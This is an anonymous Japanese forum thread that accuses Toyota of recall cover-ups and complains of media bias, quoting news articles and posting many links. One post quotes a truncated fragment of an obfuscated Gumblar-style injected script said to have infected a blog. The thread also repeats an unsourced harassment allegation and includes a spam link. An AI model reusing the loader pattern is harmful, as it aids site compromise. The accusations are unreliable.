トヨタのリコール隠し問題発覚にマスコミは沈黙�A

　　　　　　盗用多

ブレーキを掛けても減速せず前車に追突したレクサス。
http://www.drive-drive.jp/movie/movie.php?movie=768

★リコール費用ですらコスト削減の対象にするヨタｗ

トヨタ、07年のリコールで1億ドル超のコスト節減＝内部文書
http://jp.reuters.com/article/businessNews/idJPJAPAN-13993220100222

またまた自社ブログでウィルスをばら撒き隠蔽工作w
http://www.mag-x.com/magx/nifty/charge/0412_1/index.html
http://www.mag-x.com/magx/nifty/charge/0412_2/index.html
これはガンブラーウイルスだよな？
末尾に下記のようなスクリプトが書き加えられているんだが
<script>/*Exception*/ document.write('<script src='+'h)t(!t(!)@p):$!^)/^$$/)!@@i@))#&n(($)t&)#e(#!l(!&-？c^#o^

盗用多

http://www.hostmds.com/client/aff.php?aff=339

早い話が、ハンドル操作に支障をきたし、重大な事故に発展する可能性があったのにもかかわらず、
3年間も仕様として放置してたことがそもそも問題だな。

世の中で言われてる、同じＣＭが頻繁に流れるときって、
新商品が出てすぐの時か、倒産の3歩手前のどちらかだって言われてるよな。

そういえば、トヨタのＣＭって、10分に1回くらいは流れてるよな？
さながら、倒産寸前のＮＯＶＡ状態だな。

普段やかましいマスゴミが大騒ぎしないのは、
騒ぐことで今後ＣＭ放映収入が入らなくなるから、それを危惧しているんだろう。

日本のマスコミはトヨタ様様なんだろうね。
マスコミって企業のために存続してると言っても過言じゃないな。

それにしても、トヨタはこんな阿漕な商売をいつから始めたんかな？
上層部は人を騙して楽しいのかねぇ？

＞人を騙して楽しいのかねぇ？
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50

「隠すのは終わりに」米トヨタ幹部、リコール前にメール
http://megalodon.jp/2010-0409-1258-07/www.asahi.com/business/update/0409/TKY201004090152.html?ref=goo

>>690
ひどいね、こりゃ。日経には絶対のらない記事だな。

>>691
ほんと盗用多の飼い犬ですからね

胡散臭いめーかー

どうせ今後も安全より利益重視でしょう？

【政治】日本の政治の裏金問題
http://tsushima.2ch.net/test/read.cgi/newsplus/1274998722/

金儲けのイメージしかない

　　ほとぼりが冷めたら再び売上げや利益至上主義に邁進しそうｗ

ヨタの対応

クレームをした人の身辺を徹底調査。
それこそ小学校の成績から趣味、交友関係まで・・・。
それをにこやかに話しながら、ちらつかせてくる。
人間なんて、触れられたくない事の一つや二つは誰でもあるからな。
これはコワイぜ〜。

更に
ヨタを叩いたブロガーも実名晒され、近所の人の名前ちらつかせ
親兄弟に中傷ハガキ送ってしつこく中傷されてるな。
これだけの嫌がらせは組織でやってるな。
陰湿、陰険だよな〜。

http://namidame.2ch.net/test/read.cgi/car/1272273788/
http://namidame.2ch.net/test/read.cgi/car/1238010514
http://namidame.2ch.net/test/read.cgi/car/1259101090/
http://namidame.2ch.net/test/read.cgi/car/1258883117/
http://namidame.2ch.net/test/read.cgi/money/1249646044/
http://gimpo.2ch.net/test/read.cgi/joke/1247133333/
http://gimpo.2ch.net/test/read.cgi/gurume/1235799391/
http://gimpo.2ch.net/test/read.cgi/camera/1200901020/
http://love6.2ch.net/test/read.cgi/museum/1260708536/
http://gimpo.2ch.net/test/read.cgi/countrylife/1143488905/
http://gimpo.2ch.net/test/read.cgi/countrylife/1216954626/

ヨタの対応

クレームをした人の身辺を徹底調査。
それこそ小学校の成績から趣味、交友関係まで・・・。
それをにこやかに話しながら、ちらつかせてくる。
人間なんて、触れられたくない事の一つや二つは誰でもあるからな。
これはコワイぜ〜。

更に
ヨタを叩いたブロガーも実名晒され、近所の人の名前ちらつかせ
親兄弟に中傷ハガキ送ってしつこく中傷されてるな。
これだけの嫌がらせは組織でやってるな。
陰湿、陰険だよな〜。

http://namidame.2ch.net/test/read.cgi/car/1272273788/
http://namidame.2ch.net/test/read.cgi/car/1238010514
http://namidame.2ch.net/test/read.cgi/car/1259101090/
http://namidame.2ch.net/test/read.cgi/car/1258883117/
http://namidame.2ch.net/test/read.cgi/money/1249646044/
http://gimpo.2ch.net/test/read.cgi/joke/1247133333/
http://gimpo.2ch.net/test/read.cgi/gurume/1235799391/
http://gimpo.2ch.net/test/read.cgi/camera/1200901020/
http://love6.2ch.net/test/read.cgi/museum/1260708536/
http://gimpo.2ch.net/test/read.cgi/countrylife/1143488905/
http://gimpo.2ch.net/test/read.cgi/countrylife/1216954626/

　トヨタがカネ出さな、電通とて干上がる。
まだおカネの時代、だからこそトヨタが目上で、電通が目下。媒体社はもっと目下。

↓ハングル板 電通の「韓流ブーム」の奥に潜む怖さ
http://tsushima.2ch.net/test/read.cgi/korea/1275367923
このなかに、被害妄想とも言うレスが、なんぼありますやろ?

5月20日、
ホンダもオデッセイでリコールをしているが
どうして読売は報道しないの？
記事にすらしないの？
レクサスのように、一面で報じ、その後も大型の分析記事を
何本も書くのとは大違いだ。
同じ自動車メーカーのリコールなのにね。
それで、読売は『トヨタだけがリコールをしている』と報じるのだから、
明らかな情報操作だろ。
読売は、トヨタに対してどんな怨念を持っているの？

≪参考情報≫
読売の主張通り、本当にリコールはトヨタだけなのか？

ホンダ　　オデッセイのリコール（平成22年5月20日届出）
http://www.honda.co.jp/recall/100520_2538.html

ホンダ オデッセイ、燃料が流れない
5月20日20時14分配信 レスポンス
http://headlines.yahoo.co.jp/hl?a=20100520-00000031-rps-bus_all

読売新聞はホンダのリコールに関して、報道なし。


日産リコール情報
http://www.nissan.co.jp/RECALL/RECALLLIST/

ホンダリコール情報
http://www.honda.co.jp/recall/

〖共同通信〗『米新車販売19％増　トヨタは微増』
米調査会社オートデータが２日発表した５月の米新車販売台数は
前年同月比１９・１％増の１１０万２８９９台だった。
トヨタ自動車は６・７％増の１６万２８１３台と微増にとどまり、
昨年から今年にかけての大規模リコール（無料の回収・修理）の影響が尾を引いていることが鮮明となった。

トヨタは大規模リコールに加え、４月にスポーツタイプ多目的車（ＳＵＶ）２車種の販売を一時中止。
５月には高級車ブランド「レクサス」の最高級セダン「ＬＳ」のリコールを届け出ており、消費者も敏感に反応した格好。
トヨタは今後、一層の信頼性の向上を求められそうだ。（共同）
［2010年6月3日8時8分］
http://www.nikkansports.com/general/news/f-gn-tp1-20100603-637208.html

(私から一言)
読売新聞と共同通信の偏向・扇動報道のせいで、トヨタは未だに大打撃を受けているな。
ホンダや日産など、他のメーカーも、ほぼ毎週、リコールを国内外で行っているが、
そのことは記事にすらならないことも多々あるのに、
トヨタのリコールだけ新聞一面で報じられ、
あたかもトヨタだけがリコールしているかのような、印象操作をマスコミが行っている。
先月のレクサスリコールに関する読売の報道なんて、その典型だよな。
読売は『自動車のリコールは、トヨタだけ』であるかのような報道をしていた。
上記の共同通信の記事でも、『トヨタは今後、一層の信頼性の向上を求められる』と報じているが、
他の自動車メーカーでもリコールで、その企業の車の全車種が危険だ！という報道をするのかね？
米国マスコミだけでなく、日本のマスコミも偏向的だから、あいた口がふさがらない。
今では日本のマスコミのほうが、騒動の着火点になっている位だしね。
日本経済の大黒柱トヨタを、
特別な根拠はないのに、執拗にたたいて吊るしあげ、悦の境地に浸っている日本のマスコミどもはアホだ。

誤植も多いし、ろくに校正していないんだなw　
http://namidame.2ch.net/test/read.cgi/car/1257733373/l50

マスコミが間違った報道をした際にもリコール制度みたいなのがあればいいのにね。
間違った報道をした新聞や雑誌はすべて回収が終わるまで告知を義務付けるとか。

970 ：匿名希望さん：2010/05/28(金) 20:40:55
MAGエッ糞の上から目線ぶりが相変わらずでステキすぎるｗｗｗ
971 ：匿名希望さん：2010/05/28(金) 21:58:49
自動車に関係が無い
「記者クラブ」だとか「大マスコミ」だとかww
いかにも相手にされてないことに対する嫉妬丸出し（神×）
972 ：匿名希望さん：2010/05/29(土) 13:17:21
記者クラブが悪なのは分かるがお前とは全く関係ないだろってなｗｗｗ
973 ：匿名希望さん：2010/05/30(日) 13:49:51
こいつら記者クラブが仕切ってる会見に行ったこと無いだろｗｗｗ

盗用多

二枚舌の糞ンダを追い出せないかね。ヤクザ企業の自動車会社は幾らでもいるし
またコストカットか・・・マスコミへの手当て以外は

盗用多ｗ

隔離部屋のトヨタ系社員は語る、通勤車が事故寸前も実態調査せず

http://www.mynewsjapan.com/reports/1193

毎週のように不具合、リコール報道がなされているのに
メディアで誰もトヨタを叩かないのは何故？

もう完全に欠陥車製造しまくりのブラック企業だと思うんだが・・・

あげ

記者クラブのネタとか
だらだら載せているけど、そんな話誰も関心ないぜ
単なる相手にされていない三流自動車雑誌のねたみ、ヒガミだろ
　そのくせ
「××大臣の記者会見に参加しました」だとか
ブログに写真載せてはしゃいで
提灯持ち ばかりの「マガジンX」

トヨタ車の急加速事故原因は運転ミスの可能性―米運輸省が分析（7月14日8時52分配信 ウォール・ストリート・ジャーナル）
http://headlines.yahoo.co.jp/hl?a=20100714-00000009-wsj-bus_all

米運輸省が不意の急加速が原因で事故を起こしたとされるトヨタ車の複数のデータレコーダーを分析した結果、
エンジンのスロットルが全開となっており、ブレーキは使用されていなかったことがわかった。調査結果に詳しい複数の関係者が明らかにした。

この調査結果は、トヨタとレクサスが突然加速し制御できなくなったと主張する一部の運転手は、
ブレーキを踏み込もうとした際に誤ってアクセルを目いっぱい踏んでいたことを示唆している。

ただ、こうした調査結果は、トヨタ車で起きた突然の急加速について、アクセルペダルが戻らなくなる問題とアクセルペダルが
フロアマットに引っ掛かかるという2つの問題でトヨタの潔白は証明されていない。

運輸省の高速道路交通安全局（ＮＨＴＳＡ）がまとめた調査結果には、トヨタ車の運転手がブレーキを踏んでいたが車は停止せず、
結局、衝突に至ったと証言した報告の一例が含まれている。

ＮＨＴＳＡが分析したデータレコーダーは、運転手が政府当局に提出した苦情に基づき、トヨタではなく同局によって選定された。
今回の調査結果は、1989年に米政府がまとめたドイツの自動車大手フォルクスワーゲン傘下の高級自動車メーカー、
アウディの「アウディ5000」で起きた同様の不意の急加速問題では運転手の操作ミスが原因だったとする調査内容と一致している。

トヨタ車に関する調査結果は、ＮＨＴＳＡから公表されていないが、トヨタ車の不意の急加速は、
電子制御スロットルシステム上の不具合によるものではない、とするトヨタの主張を支持するものとなっている。

ＮＨＴＳＡの広報担当官はデータレコーダーから得られた結果を確認するのを控えた。
しかし、運輸省高官らはこれまでに公式にトヨタ車で電子系統の問題は発見されていないと述べている。

>>704
自分達に対しては甘く、人に対しては厳しい日本のマスコミ

自分達に対して
　人間誰しも間違いはあるし、解釈の仕方も異なる。
　問題があると言うなら訂正すればいい。記事訂正は当たり前。

人に対して
　間違いでは済まされないし、解釈の相違なんて認めない。
　規則違反は規則違反。訂正なんかで済ませたら規則の意味がなくなる。

UNIXとNeXT
http://i25.tinypic.com/ae15io.jpg

報道を国民が監視しなきゃいけないな

全国民が監視しないといけないのはヨタの方だろうな。
マスコミには地域社会の要望に応えてるみたいな部分もあるはず
ごく一部で何がなんでもヨタを応援する体勢の報道機関もあるだろうけど

>>717
マスゴミが広告費という名のワイロをくれる、スポンサー企業に
都合の悪くなるような事実を報道する訳が無いだろ？

マスコミの報道内容によって望ましくない社会的影響が出た場合、
その内容によっては刑罰を科すべきじゃないのか

報道関係者には、任期のある政治家以上に「責任ある言論」を義務付けるとか

>>719
マスコミの辞書に「責任」の二文字はありません。

自分を安全な場所に置いて、したり顔で政治や経済を批判して、
社会正義や国民の味方の顔をしながら、

自分たちの不祥事が起こったら、マスコミがグルになって報道せず、
世間がマスコミの不祥事を忘れるまでダンマリを決め込むのが
奴らのやり口です。

>>720
自分たちの保身を念頭に置いていたのではジャーナリズムは成立不可能。
不謹慎極まりない書き込みで大変に恐れ入るが、
報道関係者であっても
記者やカメラマンの場合は（主に海外の）取材現場で災難に遭うケースだってあるだろう。

責任を取らないといけないのは記事を執筆したり、ニュースの原稿を取捨選択する本人じゃないのか

自動車リコール：国交省が新部署−−来年度

　前原誠司国土交通相は３１日、閣議後の記者会見で、
自動車のリコール（回収・無償修理）制度の見直しのため、
１１年度に「不具合情報調査推進室」を新設する方針を示した。
ユーザーや海外機関、海外のリコール情報を「能動的に集めて分析」（前原国交相）するという。

　今年２月、トヨタの新型プリウスのブレーキ不具合で、
リコールの届け出に時間がかかったことなどが背景にある。

　既存のリコール対策室は「リコール監理室」に改称し、
推進室とともにリコールの必要があると判断すれば指導、勧告をする。

　また、国交省がリコールの技術的検証を依頼する独立行政法人交通安全環境研究所のリコール技術検証部についても、
１１年度中に現在の常勤１人、非常勤１５人から常勤６人、非常勤１９人に態勢を強化する。

　自動車のリコール制度については、内閣府の消費者委員会が２７日、対応強化など制度見直しを求め消費者庁に建議している。

ttp://mainichi.jp/select/wadai/news/20100901ddm041040022000c.html

リコール制度のはじまりの要因もトヨタだったしなｗ

こういうところに技術レベルの低下が如実に表れるんだな。

トヨタも被害者なんです
　　トヨタも被害者なんです
　　http://blog.livedoor.jp/sanyouosigami/archives/65466248.html

不正国家アメリカに人身御供にされました。

未完成車両を売っている方が悪いｗ

>>722
リコール制度の見直しまで話が進んでいるのか